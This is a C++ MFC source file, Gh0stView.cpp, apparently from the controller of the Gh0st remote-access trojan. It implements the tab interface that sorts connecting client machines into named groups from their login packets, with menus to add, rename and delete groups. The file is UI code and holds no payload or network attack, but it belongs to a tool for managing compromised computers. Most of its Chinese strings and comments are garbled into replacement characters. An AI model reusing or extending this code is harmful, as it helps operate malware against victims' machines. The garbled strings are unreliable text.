436 lines
10 KiB
C++
436 lines
10 KiB
C++
// Gh0stView.cpp : implementation of the CGh0stView class
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Gh0st.h"
|
||
|
||
#include "Gh0stDoc.h"
|
||
#include "Gh0stView.h"
|
||
#include "PcView.h"
|
||
#include "InputDlg.h"
|
||
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
#define IDC_TABCONTROL 100
|
||
|
||
CGh0stView* g_pTabView;
|
||
CXTPTabManagerItem* pRightItem;
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CGh0stView
|
||
|
||
IMPLEMENT_DYNCREATE(CGh0stView, CView)
|
||
|
||
BEGIN_MESSAGE_MAP(CGh0stView, CView)
|
||
//{{AFX_MSG_MAP(CGh0stView)
|
||
ON_WM_CREATE()
|
||
ON_WM_ERASEBKGND()
|
||
ON_WM_CONTEXTMENU()
|
||
ON_WM_SIZE()
|
||
ON_COMMAND(ID_MENUITEM_GROUP_ADD, OnMenuitemGroupAdd)
|
||
ON_COMMAND(ID_MENUITEM_GROUP_DEL, OnMenuitemGroupDel)
|
||
ON_COMMAND(ID_MENUITEM_CHANGE, OnMenuitemChange)
|
||
ON_COMMAND(ID_MENUITEM_SELECT_NUM, OnMenuitemSelectNum)
|
||
//}}AFX_MSG_MAP
|
||
ON_NOTIFY(TCN_SELCHANGE, IDC_TABCONTROL, OnSelectedChanged)
|
||
ON_MESSAGE(WM_ADDFINDGROUP, OnAddFindGroup)
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CGh0stView construction/destruction
|
||
|
||
CGh0stView::CGh0stView()
|
||
{
|
||
// TODO: add construction code here
|
||
g_pTabView = this;
|
||
}
|
||
|
||
CGh0stView::~CGh0stView()
|
||
{
|
||
}
|
||
|
||
BOOL CGh0stView::PreCreateWindow(CREATESTRUCT& cs)
|
||
{
|
||
// TODO: Modify the Window class or styles here by modifying
|
||
// the CREATESTRUCT cs
|
||
cs.style |= LVS_REPORT;
|
||
return CView::PreCreateWindow(cs);
|
||
}
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CGh0stView drawing
|
||
|
||
void CGh0stView::OnDraw(CDC* pDC)
|
||
{
|
||
CGh0stDoc* pDoc = GetDocument();
|
||
ASSERT_VALID(pDoc);
|
||
// TODO: add draw code for native data here
|
||
}
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CGh0stView diagnostics
|
||
|
||
#ifdef _DEBUG
|
||
void CGh0stView::AssertValid() const
|
||
{
|
||
CXTPListView::AssertValid();
|
||
}
|
||
|
||
void CGh0stView::Dump(CDumpContext& dc) const
|
||
{
|
||
CXTPListView::Dump(dc);
|
||
}
|
||
|
||
CGh0stDoc* CGh0stView::GetDocument() // non-debug version is inline
|
||
{
|
||
ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CGh0stDoc)));
|
||
return (CGh0stDoc*)m_pDocument;
|
||
}
|
||
#endif //_DEBUG
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CGh0stView message handlers
|
||
|
||
int CGh0stView::OnCreate(LPCREATESTRUCT lpCreateStruct)
|
||
{
|
||
if (CView::OnCreate(lpCreateStruct) == -1)
|
||
return -1;
|
||
|
||
// TODO: Add your specialized creation code here
|
||
m_wndTabControl.Create(WS_CHILD|WS_VISIBLE|WS_CLIPCHILDREN|WS_CLIPSIBLINGS, CRect(0, 0, 0, 0), this, IDC_TABCONTROL);
|
||
m_wndTabControl.GetPaintManager()->SetAppearance(xtpTabAppearancePropertyPageFlat);
|
||
m_wndTabControl.GetPaintManager()->m_bHotTracking = TRUE;
|
||
m_wndTabControl.SetPosition(xtpTabPositionBottom);
|
||
m_wndTabControl.SetColor(xtpTabColorOffice2003);
|
||
|
||
m_wndTabControl.GetPaintManager()->DisableLunaColors(TRUE);
|
||
|
||
AddGroup(_T("Default(0)"));
|
||
m_wndTabControl.SetCurSel(0);
|
||
return 0;
|
||
}
|
||
|
||
BOOL CGh0stView::AddGroup( LPCTSTR lpszTitle )
|
||
{
|
||
BOOL Result = AddView(RUNTIME_CLASS(CPcView), lpszTitle);
|
||
return Result;
|
||
}
|
||
|
||
|
||
BOOL CGh0stView::AddView(CRuntimeClass* pViewClass, LPCTSTR lpszTitle)
|
||
{
|
||
CCreateContext contextT;
|
||
contextT.m_pCurrentDoc = GetDocument();
|
||
contextT.m_pNewViewClass = pViewClass;
|
||
contextT.m_pNewDocTemplate = GetDocument()->GetDocTemplate();
|
||
|
||
CWnd* pWnd;
|
||
TRY
|
||
{
|
||
pWnd = (CWnd*)pViewClass->CreateObject();
|
||
if (pWnd == NULL)
|
||
{
|
||
AfxThrowMemoryException();
|
||
}
|
||
}
|
||
CATCH_ALL(e)
|
||
{
|
||
TRACE0( "Out of memory creating a view.\n" );
|
||
// Note: DELETE_EXCEPTION(e) not required
|
||
return FALSE;
|
||
}
|
||
END_CATCH_ALL
|
||
|
||
DWORD dwStyle = AFX_WS_DEFAULT_VIEW;
|
||
dwStyle &= ~WS_BORDER;
|
||
|
||
int nTab = m_wndTabControl.GetItemCount();
|
||
|
||
// Create with the right size (wrong position)
|
||
CRect rect(0,0,0,0);
|
||
if (!pWnd->Create(NULL, NULL, dwStyle,
|
||
rect, &m_wndTabControl, (AFX_IDW_PANE_FIRST + nTab), &contextT))
|
||
{
|
||
TRACE0( "Warning: couldn't create client tab for view.\n" );
|
||
// pWnd will be cleaned up by PostNcDestroy
|
||
return NULL;
|
||
}
|
||
m_wndTabControl.InsertItem(nTab, lpszTitle, pWnd->GetSafeHwnd());
|
||
|
||
pWnd->SetOwner(this);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
void CGh0stView::UpdateDocTitle()
|
||
{
|
||
GetDocument()->UpdateFrameCounts();
|
||
}
|
||
|
||
void CGh0stView::OnSelectedChanged(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
UNUSED_ALWAYS(pNMHDR);
|
||
*pResult = 0;
|
||
|
||
UpdateDocTitle();
|
||
|
||
CFrameWnd* pFrame = GetParentFrame();
|
||
CView* pView = DYNAMIC_DOWNCAST(CView, CWnd::FromHandle(m_wndTabControl.GetSelectedItem()->GetHandle()));
|
||
ASSERT_KINDOF(CView, pView);
|
||
|
||
pFrame->SetActiveView(pView);
|
||
}
|
||
|
||
LRESULT CGh0stView::OnAddFindGroup(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
|
||
if (pContext == NULL)
|
||
return -1;
|
||
try
|
||
{
|
||
// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
||
if (pContext->m_DeCompressionBuffer.GetBufferLen() != sizeof(LOGININFO))
|
||
return -1;
|
||
|
||
LOGININFO* LoginInfo = (LOGININFO*)pContext->m_DeCompressionBuffer.GetBuffer();
|
||
|
||
BOOL bFind=false;
|
||
CString strGroupName, strTemp;
|
||
|
||
int nTabs = m_wndTabControl.GetItemCount();
|
||
for ( int i = 0; i < nTabs; i++)
|
||
{
|
||
strTemp = m_wndTabControl.GetItem(i)->GetCaption();
|
||
int n = strTemp.ReverseFind('(');
|
||
if( n > 0 )
|
||
{
|
||
strGroupName = strTemp.Left(n);
|
||
}
|
||
else
|
||
{
|
||
strGroupName = strTemp;
|
||
}
|
||
|
||
if ( strlen(LoginInfo->UpGroup) == NULL )
|
||
{
|
||
lstrcpy( LoginInfo->UpGroup, "Default" );//Ĭ<>Ϸ<EFBFBD><CFB7><EFBFBD>
|
||
}
|
||
|
||
if (strGroupName == LoginInfo->UpGroup)
|
||
{
|
||
bFind = true;
|
||
CPcView* pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(m_wndTabControl.GetItem(i)->GetHandle()));
|
||
pView->PostMessage( WM_ADDTOLIST, 0, (LPARAM)pContext );
|
||
break;
|
||
}
|
||
}
|
||
if (!bFind)
|
||
{
|
||
strGroupName.Format( "%s(1)", LoginInfo->UpGroup );
|
||
AddGroup( strGroupName );
|
||
CPcView* pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(m_wndTabControl.GetItem(nTabs)->GetHandle()));
|
||
pView->OnInitialUpdate();
|
||
pView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext );
|
||
}
|
||
}
|
||
catch (...){}
|
||
|
||
return 0;
|
||
}
|
||
|
||
BOOL CGh0stView::UpDateNumber()
|
||
{
|
||
CString strGroupName, strTemp;
|
||
int nTabs = m_wndTabControl.GetItemCount();
|
||
|
||
for ( int i = 0; i < nTabs; i++ )
|
||
{
|
||
strTemp = m_wndTabControl.GetItem(i)->GetCaption();
|
||
int n = strTemp.ReverseFind('(');
|
||
if ( n > 0 )
|
||
{
|
||
strGroupName = strTemp.Left(n);
|
||
}
|
||
else
|
||
{
|
||
strGroupName = strTemp;
|
||
}
|
||
|
||
CPcView* pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(m_wndTabControl.GetItem(i)->GetHandle()));
|
||
|
||
strTemp.Format( "%s(%d)", strGroupName, pView->m_pListCtrl->GetItemCount() );
|
||
m_wndTabControl.GetItem(i)->SetCaption(strTemp);
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
BOOL CGh0stView::OnEraseBkgnd(CDC* pDC)
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
return TRUE;
|
||
// return CView::OnEraseBkgnd(pDC);
|
||
}
|
||
|
||
void CGh0stView::OnContextMenu(CWnd* pWnd, CPoint point)
|
||
{
|
||
// TODO: Add your message handler code here
|
||
CMenu popup;
|
||
popup.LoadMenu(IDR_MENU_TAB);
|
||
CMenu* pM = popup.GetSubMenu(0);
|
||
CRect rc;
|
||
CPoint p;
|
||
GetCursorPos(&p);
|
||
GetWindowRect(&rc);
|
||
point.x = point.x - rc.left;
|
||
point.y = point.y - rc.top;
|
||
|
||
int nItem = m_wndTabControl.GetItemCount();
|
||
for (int i = 0; i < nItem; i++)
|
||
{
|
||
if (m_wndTabControl.GetItem(i)->GetRect().PtInRect(point))
|
||
{
|
||
pRightItem = m_wndTabControl.GetItem(i);
|
||
CXTPCommandBars::TrackPopupMenu(pM, 0, p.x, p.y,this);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
void CGh0stView::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
CView::OnSize(nType, cx, cy);
|
||
|
||
// TODO: Add your message handler code here
|
||
if (m_wndTabControl.GetSafeHwnd())
|
||
{
|
||
m_wndTabControl.MoveWindow(0, 0, cx , cy);
|
||
}
|
||
}
|
||
|
||
void CGh0stView::OnMenuitemGroupAdd()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CInputDialog dlg;
|
||
CString strGroup, strGroupName, strTemp;
|
||
dlg.Init(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD><EFBFBD>"), _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD>"),this);
|
||
if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0)
|
||
return;
|
||
int nTabs = g_pTabView->m_wndTabControl.GetItemCount();
|
||
int i=0;
|
||
for ( i = 0; i < nTabs; i++ )
|
||
{
|
||
strTemp = g_pTabView->m_wndTabControl.GetItem(i)->GetCaption();
|
||
int n = strTemp.ReverseFind('(');
|
||
if ( n > 0 )
|
||
{
|
||
strGroupName = strTemp.Left(n);
|
||
}
|
||
else
|
||
{
|
||
strGroupName = strTemp;
|
||
}
|
||
if (dlg.m_str == strGroupName)
|
||
{
|
||
AfxMessageBox(_T("<EFBFBD>Ѵ<EFBFBD><EFBFBD>ڸ÷<EFBFBD><EFBFBD><EFBFBD>"));
|
||
return;
|
||
}
|
||
}
|
||
strGroup.Format(_T("%s(0)"), dlg.m_str);
|
||
AddGroup(strGroup);
|
||
CPcView* pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(m_wndTabControl.GetItem(nTabs)->GetHandle()));
|
||
pView->OnInitialUpdate();
|
||
}
|
||
|
||
void CGh0stView::OnMenuitemGroupDel()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CString strGroupName, strTemp;
|
||
|
||
strTemp = pRightItem->GetCaption();
|
||
int n = strTemp.ReverseFind('(');
|
||
if ( n > 0 )
|
||
{
|
||
strGroupName = strTemp.Left(n);
|
||
}
|
||
else
|
||
{
|
||
strGroupName = strTemp;
|
||
}
|
||
|
||
if( strGroupName == _T("Default"))
|
||
{
|
||
AfxMessageBox(_T("Ĭ<EFBFBD>Ϸ<EFBFBD><EFBFBD>鲻<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD>"));
|
||
return;
|
||
}
|
||
CPcView* pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(pRightItem->GetHandle()));
|
||
if (pView->m_pListCtrl->GetItemCount())
|
||
{
|
||
AfxMessageBox(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD>"));
|
||
return;
|
||
}
|
||
|
||
pRightItem->Remove();
|
||
}
|
||
|
||
void CGh0stView::OnMenuitemChange()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CInputDialog dlg;
|
||
dlg.Init(_T("<EFBFBD>ķ<EFBFBD><EFBFBD><EFBFBD>"), _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD>"),this);
|
||
if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0)
|
||
return;
|
||
|
||
CString strGroup, strGroupName, strTemp;
|
||
int nTabs = g_pTabView->m_wndTabControl.GetItemCount();
|
||
int i=0;
|
||
for ( i = 0; i < nTabs; i++ )
|
||
{
|
||
strTemp = g_pTabView->m_wndTabControl.GetItem(i)->GetCaption();
|
||
int n = strTemp.ReverseFind('(');
|
||
if ( n > 0 )
|
||
{
|
||
strGroupName = strTemp.Left(n);
|
||
}
|
||
else
|
||
{
|
||
strGroupName = strTemp;
|
||
}
|
||
if (dlg.m_str == strGroupName)
|
||
{
|
||
AfxMessageBox(_T("<EFBFBD>Ѵ<EFBFBD><EFBFBD>ڸ÷<EFBFBD><EFBFBD><EFBFBD>"));
|
||
return;
|
||
}
|
||
}
|
||
if( strGroupName == _T("Default"))
|
||
{
|
||
AfxMessageBox(_T("Ĭ<EFBFBD>Ϸ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>"));
|
||
return;
|
||
}
|
||
|
||
CPcView* pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(pRightItem->GetHandle()));
|
||
|
||
strGroup.Format(_T("%s(%d)"), dlg.m_str,pView->m_pListCtrl->GetItemCount());
|
||
pRightItem->SetCaption(strGroup);
|
||
}
|
||
|
||
void CGh0stView::OnMenuitemSelectNum()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CInputDialog dlg;
|
||
dlg.Init(_T("ѡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡĿ¼<EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"), _T("Ҫѡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"),this,TRUE,"100");
|
||
if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0)
|
||
return;
|
||
|
||
CPcView* pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(pRightItem->GetHandle()));
|
||
pView->SetFocus();
|
||
for (int i = 0; i < atoi(dlg.m_str); i++)
|
||
{
|
||
pView->m_pListCtrl->SetItemState(i, LVIS_SELECTED, LVIS_SELECTED);
|
||
pView->m_pListCtrl->SetCheck(i,TRUE);
|
||
}
|
||
|
||
}
|